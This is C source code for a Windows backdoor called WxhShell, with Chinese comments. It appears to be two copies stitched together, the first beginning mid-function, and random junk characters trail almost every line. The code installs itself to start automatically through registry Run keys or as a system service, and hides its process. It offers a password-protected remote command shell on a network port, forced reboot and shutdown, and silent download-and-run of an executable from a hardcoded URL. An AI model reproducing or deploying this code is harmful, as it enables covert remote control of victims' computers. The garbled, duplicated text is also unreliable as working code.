    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q; n  
    if(Boot(SHUTDOWN)) g2|qGfl{C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kgl7l?|O  
    else { &| guPZ  
    closesocket(wsh); 6 o!*bWh  
    ExitThread(0); '  ~F  
    } q\r@x-&g+  
    break; qx;8Hq(E[  
    } |u@/,x/t  
  // 获取shell zQ=c6xvm8  
  case 's': { gd,3}@@SH  
    CmdShell(wsh); ~ZuFMVR  
    closesocket(wsh); <pXF$a:s  
    ExitThread(0); iLIv<VK/d  
    break; cN&]JS,  
  } P2t{il   
  // 退出 |l#<vw wE  
  case 'x': { \$B%TY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yd>b2 M  
    CloseIt(wsh); +! F+m V9  
    break; p7{%0  
    } |3:e$  
  // 离开 NU <K+k  
  case 'q': { .IkQo`_s:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i*\\j1mf  
    closesocket(wsh); d7 W[.M$]  
    WSACleanup(); vhz[H  
    exit(1); _=Eb:n+X  
    break;  ~0T;T  
        } tF&g3)D:NV  
  } %%c1@2G<  
  } Xk]:]pl4W  
/]@1IC{Lk  
  // 提示信息 a:V2(nY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Vwv#NAV k  
} 1!P\x=Nn_  
  } 7/>#yR  
GX\6J]x=^2  
  return; 8rEUZk  
} Mcfqo0T-  
!C3ozZ<  
// shell模块句柄 W-8U~*/  
int CmdShell(SOCKET sock) 0hB9D{`,{  
{ +WTO_J7  
STARTUPINFO si; "+{>"_KV  
ZeroMemory(&si,sizeof(si)); 2vLV1v$,q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $E,,::oJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4F=cER6l  
PROCESS_INFORMATION ProcessInfo; /qwl;_Jcf  
char cmdline[]="cmd"; ">|G^ @|:A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1. S?(1e"  
  return 0; E/:mO~1< c  
} oa;vLX$   
AS-%I+ A  
// 自身启动模式 62D UF  
int StartFromService(void) g[%^OT#  
{ RO!em~{D*  
typedef struct S@^o=B]]  
{ Wq"5-U;:w  
  DWORD ExitStatus; Y A:!ULzR*  
  DWORD PebBaseAddress; \nbGdka  
  DWORD AffinityMask; nb|KIW  
  DWORD BasePriority; ,CED%  
  ULONG UniqueProcessId; p2I9t|  
  ULONG InheritedFromUniqueProcessId; l RM7s(^l  
}   PROCESS_BASIC_INFORMATION; Iss)7I  
ON-zhT?v  
PROCNTQSIP NtQueryInformationProcess; 41XS/# M$*  
:oeDksld  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~C31=\$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |1/UC"f  
;%`oS.69  
  HANDLE             hProcess; q dQQt5Y'm  
  PROCESS_BASIC_INFORMATION pbi; TO5#iiM)  
(`cXS5R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PO@b9O  
  if(NULL == hInst ) return 0; 'L5ih|$>  
*I<L1g%9d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BTAt9Z8qK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3vC"Q!J&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4 >`2vb  
kes GwMr"e  
  if (!NtQueryInformationProcess) return 0; {4^NZTjd@  
, #nYHD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j#rj_uP  
  if(!hProcess) return 0; m3']/}xHO  
EpUBO}q]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $)v`roDD.  
*u ^mf~  
  CloseHandle(hProcess); y3Qb2l  
ggL^*MV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '?O_(%3F0  
if(hProcess==NULL) return 0; D3(rD]c0{  
3`+Bq+  
HMODULE hMod; N% !TFQf  
char procName[255]; #]5A|-O^  
unsigned long cbNeeded; ,~nrNkhp  
Cw$7d:u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Usl963A#'F  
kD\7wz,ui  
  CloseHandle(hProcess); yLgv<%8f  
oU)Hco"_k  
if(strstr(procName,"services")) return 1; // 以服务启动 5i1E 5@~  
d9Uv/VGp  
  return 0; // 注册表启动 N_liKhq  
} k esuM3  
ttd ^jT  
// 主模块 aESlb H  
int StartWxhshell(LPSTR lpCmdLine) 2kkqPBc_  
{ !L3\B_#  
  SOCKET wsl; wi-F@})f#  
BOOL val=TRUE; ]rS:# LK  
  int port=0; WvN{f*  
  struct sockaddr_in door; $, vX yZ  
e.Gjp {  
  if(wscfg.ws_autoins) Install(); (8td0zq  
9NC?J@&B  
port=atoi(lpCmdLine); <X "_S'O  
1haNpLfS>  
if(port<=0) port=wscfg.ws_port; o XFo  
epGC Ta  
  WSADATA data; IcJQC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :v B9z  
|7)oX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;km^ OO$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q(\kCUy!  
  door.sin_family = AF_INET; mkuK$Mj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N!%[.3o\K  
  door.sin_port = htons(port); n`.JI(|  
e5$S2o~JF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C0gO^A.d  
closesocket(wsl); F S!D  
return 1; *nx$r[Mqj  
} %Xe 74C"  
{v}BtZ  
  if(listen(wsl,2) == INVALID_SOCKET) { Px?zih!6  
closesocket(wsl); HB*H%>L{"B  
return 1; t_kRYdW9  
} Y+nk:9  
  Wxhshell(wsl); ' '<3;  
  WSACleanup(); gaWJzK Yc_  
i)q8p  
return 0; E(!b_C&  
[=]LR9c4  
} ,B1~6y\b  
?bGk%jjHXM  
// 以NT服务方式启动 h|%a}])G)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zGtv(gwk  
{ ht_'GBS)  
DWORD   status = 0; ZtGtJV"H  
  DWORD   specificError = 0xfffffff; Vb,'VN%   
x(7Q5Uk\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; td5! S]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q" G;L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Cg3 d  
  serviceStatus.dwWin32ExitCode     = 0; ST1c`0e  
  serviceStatus.dwServiceSpecificExitCode = 0; 61Wh %8-  
  serviceStatus.dwCheckPoint       = 0; H (tT8Q5i  
  serviceStatus.dwWaitHint       = 0; 1O2jvt7M  
!g4u<7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ymb{rKkN3  
  if (hServiceStatusHandle==0) return; m[qW)N:w  
x5R|,bY  
status = GetLastError(); _sK{qQxvM=  
  if (status!=NO_ERROR) $1Qcz,4B|  
{ yY_#fJj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zuS4N?t`p  
    serviceStatus.dwCheckPoint       = 0; uc Ph*M  
    serviceStatus.dwWaitHint       = 0; B &e'n<  
    serviceStatus.dwWin32ExitCode     = status; *~kHH  
    serviceStatus.dwServiceSpecificExitCode = specificError; |f3 :9(p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O,Ej m<nt  
    return; s"~3.J  
  } O+"a 0:GM  
3(`P x}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rGlnu.mK^  
  serviceStatus.dwCheckPoint       = 0; ?T)M z q}  
  serviceStatus.dwWaitHint       = 0; X16vvsjw5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l#TE$d^ym  
} "t%Jj89a\  
!3)WW)"!r  
// 处理NT服务事件,比如:启动、停止 6h7TM?lt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yJW/yt.l  
{ uj@d {AQ  
switch(fdwControl) K(#O@Wmjq  
{ 8'M:uI  
case SERVICE_CONTROL_STOP: {a0yHy$H  
  serviceStatus.dwWin32ExitCode = 0; IXpn(vX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Zp/$:ny  
  serviceStatus.dwCheckPoint   = 0; 3z% W5[E)  
  serviceStatus.dwWaitHint     = 0; `(M0I!t  
  { hv*XuT/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2  ZyO  
  } "R]wPF5u  
  return; '"T9y=9]s  
case SERVICE_CONTROL_PAUSE: ;_#<a*f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M9~6ry-_  
  break; 1s.>_  
case SERVICE_CONTROL_CONTINUE: ;tC$O~X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JHa\"h  
  break; :,V&P_  
case SERVICE_CONTROL_INTERROGATE: Jwpc8MQ  
  break; %+oqAY m+s  
}; fR]KXfZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KNjU!Z/4  
} A<+1:@0  
!oYNJE Y7  
// 标准应用程序主函数 =w/AJ%6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3_"tds <L  
{ o,RiAtdk  
w+$~ ds  
// 获取操作系统版本 4UHviuOo8  
OsIsNt=GetOsVer(); B.:1fT7lI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1#9PE(!2  
S$ k=70H  
  // 从命令行安装 <m~{60{  
  if(strpbrk(lpCmdLine,"iI")) Install(); zKT4j1 h  
u82(`+B  
  // 下载执行文件 J,J6bfR/  
if(wscfg.ws_downexe) { CA5T3J@vAQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a n0n8l  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]QGo(+  
} VaA.J  
Tj+U:#!!~  
if(!OsIsNt) { -$$mrU  
// 如果时win9x,隐藏进程并且设置为注册表启动 <H$!OPV  
HideProc(); kH`?^ ^_yJ  
StartWxhshell(lpCmdLine); Pn l}<i  
} x[xRqC vL  
else aYM~Ub:x{  
  if(StartFromService()) )iid9K<HB  
  // 以服务方式启动 7CH.BY  
  StartServiceCtrlDispatcher(DispatchTable); 3taGb>15  
else ^6J*:(eM  
  // 普通方式启动 *4%%^*g.I  
  StartWxhshell(lpCmdLine); 0rvBjlFT  
F` &W5[  
return 0; GK;IY=8W  
} V9jxmu F,  
%/ "yt}"|  
2#ZqGf.'v  
Bo\~PV[  
=========================================== 8tVSai8[  
x~=Mn%Ew0  
iH~A7e62OZ  
7$x%A&]  
1OV] W f  
sOb]o[=  
" *Q#oV}D_  
q]Kv.x]$R  
#include <stdio.h> bGkLa/?S  
#include <string.h> w|Ry) [  
#include <windows.h> f8ZuG !U  
#include <winsock2.h> #lc6-K#  
#include <winsvc.h> d2TIG<6/  
#include <urlmon.h> ;NE4G;px4<  
5A<}*T  
#pragma comment (lib, "Ws2_32.lib") ydA@@C\&  
#pragma comment (lib, "urlmon.lib") p{:y?0pGN  
CM%;/[WBxy  
#define MAX_USER   100 // 最大客户端连接数 ?J-\}X  
#define BUF_SOCK   200 // sock buffer +o):grWvQ  
#define KEY_BUFF   255 // 输入 buffer QN|=/c<U  
mX!*|$bs  
#define REBOOT     0   // 重启 sWB@'P:x  
#define SHUTDOWN   1   // 关机 ([^#.x)hz  
:@a0h  
#define DEF_PORT   5000 // 监听端口 [!MS1v c;  
9dm<(I}  
#define REG_LEN     16   // 注册表键长度 \&~YFjB  
#define SVC_LEN     80   // NT服务名长度 RAnF=1[v  
1;'-$K`}  
// 从dll定义API ]0BX5Z'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R.DUfU"gp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \98N8p;,I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ><S(n#EB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o 0T1pGs'  
&SNH1b#>E  
// wxhshell配置信息 sT "q]  
struct WSCFG { i+pQ 7wx  
  int ws_port;         // 监听端口 c&,q`_t  
  char ws_passstr[REG_LEN]; // 口令 29CzG0?B  
  int ws_autoins;       // 安装标记, 1=yes 0=no A\W) uwyN  
  char ws_regname[REG_LEN]; // 注册表键名 tCm]1ZgRW  
  char ws_svcname[REG_LEN]; // 服务名 f/s"2r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9|[uie  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bub6{MQW8e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zG8g}FrzG;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NqGSoOjIO2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8!HB$vdw7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cx ("F /Jm  
h&n1}W+  
}; z&Aya*0v`  
t\ a|Gp W  
// default Wxhshell configuration p&5>j\uJ1&  
struct WSCFG wscfg={DEF_PORT, y/kB`Z(Yj  
    "xuhuanlingzhe", CJ7S5   
    1, q VI0?B x  
    "Wxhshell", =9W\;xE S  
    "Wxhshell", }/h&`0z `  
            "WxhShell Service", t72rCq QC  
    "Wrsky Windows CmdShell Service", KU*aJl_n,  
    "Please Input Your Password: ", 4=EA3`l  
  1, 2Q\\l @b\  
  "http://www.wrsky.com/wxhshell.exe", GNEPb?+T  
  "Wxhshell.exe" # 5U1F[  
    }; M] +.xo+A  
0 x' d^  
// 消息定义模块 d0C _:_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U]w"T{;@.)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X/90S2=P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hvQXYo>TZx  
char *msg_ws_ext="\n\rExit."; {qbe ye!  
char *msg_ws_end="\n\rQuit."; :>r W`= e'  
char *msg_ws_boot="\n\rReboot..."; uv<_.Jq]  
char *msg_ws_poff="\n\rShutdown..."; zx,9x*g  
char *msg_ws_down="\n\rSave to "; So8 Dwz?  
psc Fb$b  
char *msg_ws_err="\n\rErr!"; i;s;:{cn  
char *msg_ws_ok="\n\rOK!"; Pr(@&:v:  
{ PJ>gX$  
char ExeFile[MAX_PATH]; 2  
int nUser = 0; A<"< DDy  
HANDLE handles[MAX_USER]; GBWL0'COV  
int OsIsNt; UV0[S8A  
,|}mo+rb-  
SERVICE_STATUS       serviceStatus; D6l. x]K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9jX_Eoxy  
>KvK'Mus/  
// 函数声明 YYPJ (o\  
int Install(void); b GI){0A  
int Uninstall(void); kP^A~ZO.  
int DownloadFile(char *sURL, SOCKET wsh); XPD1HN!,LT  
int Boot(int flag); ?w'86^_z  
void HideProc(void); xy4+ [u  
int GetOsVer(void); Hk@Gkx_  
int Wxhshell(SOCKET wsl); K1BBCe  
void TalkWithClient(void *cs); AO]cnh C  
int CmdShell(SOCKET sock); @2a!T03  
int StartFromService(void); %2\tly!{ %  
int StartWxhshell(LPSTR lpCmdLine); qk3|fW/-  
DcdEt=\)h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hh*?[-&r~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xE]y*\  
yz=X{p1  
// 数据结构和表定义 V$w lOMp  
SERVICE_TABLE_ENTRY DispatchTable[] = =-X-${/  
{  7gZ}Qy  
{wscfg.ws_svcname, NTServiceMain}, Mqvo j7  
{NULL, NULL} dFDf/tH  
}; i}P{{kMJ  
;RX u}pd  
// 自我安装 v=0G&x=/  
int Install(void) 3Jlap=]68S  
{ ]d@>vzCO  
  char svExeFile[MAX_PATH]; 6hv.;n};  
  HKEY key; Bt(<Xj D  
  strcpy(svExeFile,ExeFile); zxCx2.7  
$7c,<=  
// 如果是win9x系统,修改注册表设为自启动 3\Q9>>  
if(!OsIsNt) { ZV+tHgzlv5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :v;U7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~IjID  
  RegCloseKey(key); _p+E(i 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5Gy#$'kdf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "t(_r@qU/  
  RegCloseKey(key); 5B4/2q=  
  return 0; X~c?C-fV  
    } %Q0R] Hg  
  } L YF|  
} P/|1,S k  
else { c$71~|-[  
K)~aH  
// 如果是NT以上系统,安装为系统服务 (IVhj^dQm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oD9n5/ozo  
if (schSCManager!=0) _"L6mcI6  
{ o0f`/ 6o  
  SC_HANDLE schService = CreateService $ P?^GB>u  
  ( 3]*1%=~X/  
  schSCManager, I 4?oBq  
  wscfg.ws_svcname, ]VLseF  
  wscfg.ws_svcdisp, 3oMHy5  
  SERVICE_ALL_ACCESS, ZIc.MNq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S7Ty}?E@  
  SERVICE_AUTO_START, Ec3tfcNhR  
  SERVICE_ERROR_NORMAL, ""a$[[ %WC  
  svExeFile, 9Pe$}N  
  NULL, H(K PU1lDw  
  NULL, 4}v|^_x-i  
  NULL, ;-kDJ i  
  NULL, BR@m*JGajz  
  NULL URrx7F98  
  ); B6k<#-HAT  
  if (schService!=0) 6X%g-aTs  
  { =(D"(OsQ/  
  CloseServiceHandle(schService); h )5S4)  
  CloseServiceHandle(schSCManager); @;P ;iI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YnU)f@b#  
  strcat(svExeFile,wscfg.ws_svcname); T!KwRxJ23  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HdI)Z<Krp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9%iQ~   
  RegCloseKey(key); Q]/%Y[%|  
  return 0; n*=#jL  
    } pF8 #H~  
  } \"nut7";2  
  CloseServiceHandle(schSCManager); o?hr>b  
} p ZTrh&I]  
} UWvVYdy7  
]{\ttb%GX  
return 1; [A!w  
} ;ISnI  
Coe/4! $M  
// 自我卸载 .Lna\Bv  
int Uninstall(void) eOE*$pH  
{ %8tE*3iUF  
  HKEY key; e@W+ehx"  
m)Kg6/MV.  
if(!OsIsNt) { x'I!f? / &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O.(2  
  RegDeleteValue(key,wscfg.ws_regname); +K`A2&F9  
  RegCloseKey(key); ~s'tr&+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kt978qfk  
  RegDeleteValue(key,wscfg.ws_regname); W H/.h$  
  RegCloseKey(key); 7<] EH:9  
  return 0; p|ink):  
  } <4q H0<  
} V9BW@G@9  
} z m$Sw0#(  
else { Wq1 jTIQ  
6~x'~T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2]]v|Z2M4  
if (schSCManager!=0) P$#:$U @  
{ 6D`n^uoP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nOL"6%q  
  if (schService!=0) =,#--1R7g  
  { d/&> `[i  
  if(DeleteService(schService)!=0) { I1U2wD  
  CloseServiceHandle(schService); ?Z7QD8N  
  CloseServiceHandle(schSCManager); $0E+8xE  
  return 0; }Pg}"fb^  
  } ]2wxqglh)  
  CloseServiceHandle(schService); F^NK"<tW  
  } <]M. K3>  
  CloseServiceHandle(schSCManager); Km8aHc]O~  
} D![v{0er  
} T+F]hv'  
0\ = du  
return 1; Tn#Co$<  
} p2i?)+z  
wgS,U }/i  
// 从指定url下载文件 F#sm^%_2  
int DownloadFile(char *sURL, SOCKET wsh) dWvVK("Wj  
{ RDp  
  HRESULT hr; (O5Yd 6u  
char seps[]= "/"; *{DTxEy  
char *token; WR"D7{>tw  
char *file; YOD.y!.zq7  
char myURL[MAX_PATH]; TQF+aP8[L  
char myFILE[MAX_PATH]; w#|L8VAh  
i.vH$  
strcpy(myURL,sURL); R}M ;, G  
  token=strtok(myURL,seps); IT_I.5*A2  
  while(token!=NULL) :eVZ5?F  
  { =Xh)34q  
    file=token; |h\7Q1,1~2  
  token=strtok(NULL,seps); I4X9RYB6c  
  } "%gsGtS  
tNi>TkC}`  
GetCurrentDirectory(MAX_PATH,myFILE); `x9Eo4(/  
strcat(myFILE, "\\"); J, 9NVw$  
strcat(myFILE, file); ##7y|AwK  
  send(wsh,myFILE,strlen(myFILE),0); GkIY2PD  
send(wsh,"...",3,0); =1l6( pJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rG-T Dm  
  if(hr==S_OK) .:r~?$(  
return 0; ixd sz\<  
else 0D s3wNz  
return 1; 20;9XJmjl  
`r`8N6NQ&]  
} }'$PYAf6  
KhHFJo[8sf  
// 系统电源模块 lT^su'+bk  
int Boot(int flag)  8s0+6{vW  
{ MEiP&=gX!  
  HANDLE hToken; O,Q.-  
  TOKEN_PRIVILEGES tkp; hJ}i+[~be  
j<B9$8x&  
  if(OsIsNt) { vwU1}H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U#` e~d t<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bO=|utpk  
    tkp.PrivilegeCount = 1; J?QS7#!%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -b(DPte  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t~) P1Lof\  
if(flag==REBOOT) { o}OY,P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wGc7  
  return 0; cuhp4!!  
} *2G6Q g F  
else { %=^/^[D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NBYJ'nA%;f  
  return 0; FlBhCZ|^  
} FE~D:)Xj'?  
  } Z7;V}[wie  
  else { CJ IuMsZ  
if(flag==REBOOT) { zw/AZLS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zR"c j  
  return 0; D@O `"2  
} 4ba*Nc*Yc  
else { Z[oF4 z   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -K64J5|b7  
  return 0; 2B ]q1>a!  
} > N~8#C  
} 35<A :jKS  
r )F;8(  
return 1; h.jJAVPi  
} j[G`p^ul  
}aZuCe_  
// win9x进程隐藏模块 >HP `B2Q H  
void HideProc(void) b(iF0U>&  
{ )kpEcMlR  
'NEl`v*<P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u^" I3u8$  
  if ( hKernel != NULL ) \Z[1m[{  
  { d1<";b2Jt^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -50DGA,K6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;CYoc4e  
    FreeLibrary(hKernel); <^5!]8*O  
  } 2{-29bq  
bdg6B7%Q  
return; ^#9385  
} zBF~:Uc`B  
u_(~zs.N]  
// 获取操作系统版本 ;tjOEmIiU  
int GetOsVer(void) "o5]:]h)  
{ 36 "n7  
  OSVERSIONINFO winfo; cb}"giXQTB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (Xd8'-G$m  
  GetVersionEx(&winfo); NAGM3{\5v$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |N.2iN:  
  return 1; _f1o!4ocx  
  else Ar`+x5  
  return 0; cHjQwl  
} 0HzqU31%l@  
AkhG~L  
// 客户端句柄模块 77P\:xc  
int Wxhshell(SOCKET wsl) <J/ =$u/  
{ ma.84~m  
  SOCKET wsh; hbw(o  
  struct sockaddr_in client; "tJ+v*E  
  DWORD myID; I |Oco?Q"  
;*A'2ymXUT  
  while(nUser<MAX_USER) #-/W?kD  
{ wZqYtJ  
  int nSize=sizeof(client); oz) [ -  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =)a24PDG  
  if(wsh==INVALID_SOCKET) return 1; cS ~OxAS  
3:)z+#Uk6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ARKM[]  
if(handles[nUser]==0) NXW*{b  
  closesocket(wsh); u,^CFws_  
else hFrMOc&  
  nUser++; OM86C  
  } GEc6;uz<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0U '"@A \  
lSxb:$g  
  return 0; Br1R++]  
} T[oC='I+O  
u#0snw~)/  
// 关闭 socket ]}2)U  
void CloseIt(SOCKET wsh) w0Qtr>"  
{ ,;k+n)  
closesocket(wsh); osW"wh_  
nUser--; >B BV/C'9  
ExitThread(0); kK6O ZhLH  
} E/;t6& 6  
;tOs A #  
// 客户端请求句柄 ^_2c\mw_I  
void TalkWithClient(void *cs) CMt<oT6.?  
{ $O"ss>8Se  
rB>ge]$.  
  SOCKET wsh=(SOCKET)cs; >!963>DR  
  char pwd[SVC_LEN]; lx)^wAO4  
  char cmd[KEY_BUFF]; @DN/]P  
char chr[1]; 8&<mg;H,  
int i,j; jK|n^5\  
J4Gzp~{  
  while (nUser < MAX_USER) { Q6h+.  
PL/g| ;  
if(wscfg.ws_passstr) { bi<<z-q`wJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M\ATT%b:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {,>G 1>Yv  
  //ZeroMemory(pwd,KEY_BUFF); 6u[fCGi%  
      i=0; 3I6ocj [,  
  while(i<SVC_LEN) { }vndt*F   
+QChD*  
  // 设置超时 Aoe\\'O|V  
  fd_set FdRead; 8z=# 0+0  
  struct timeval TimeOut; _$~>O7  
  FD_ZERO(&FdRead); 8mI(0m'  
  FD_SET(wsh,&FdRead); 0At0`Q#  
  TimeOut.tv_sec=8; @8d 3  
  TimeOut.tv_usec=0; c6h?b[]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); inut'@=G/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vFPY|Vzh  
?Ga8.0Z~KT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9*q wXU_aV  
  pwd=chr[0]; ~?Zib1f)  
  if(chr[0]==0xd || chr[0]==0xa) { PR:k--)D  
  pwd=0; bo0U  
  break; Pv -4psdw  
  } HD j6E"  
  i++; FI.te3i?7  
    } O?uICnmi6  
 a"Qf  
  // 如果是非法用户,关闭 socket @]3 \*&R}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xw H>F7HPe  
} dC=[o\  
4G&`&fff]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \Kl20?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S?~0)EXj(  
/%@;t@BK4  
while(1) { >eJ <-3L;  
1J?v\S$ma`  
  ZeroMemory(cmd,KEY_BUFF); 5EYGA\  
.9~j%] q  
      // 自动支持客户端 telnet标准   fz'qB-F Y  
  j=0; vDjH $ U  
  while(j<KEY_BUFF) { 2 bc&sU)X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); & 3#7>oQ  
  cmd[j]=chr[0]; I8xdE(o8+  
  if(chr[0]==0xa || chr[0]==0xd) { ( t&RFzE?G  
  cmd[j]=0; dGKo!;7{  
  break; AuNUW0/ 7  
  } 4f LRl-)  
  j++; \xYVnjG,  
    } 4Aj~mA  
^<I(  
  // 下载文件 >pq~ &)^u  
  if(strstr(cmd,"http://")) { @16GF!.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rN0<y4)!  
  if(DownloadFile(cmd,wsh)) sJ6.3= c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F8pA)!AH  
  else 1lw%RM  
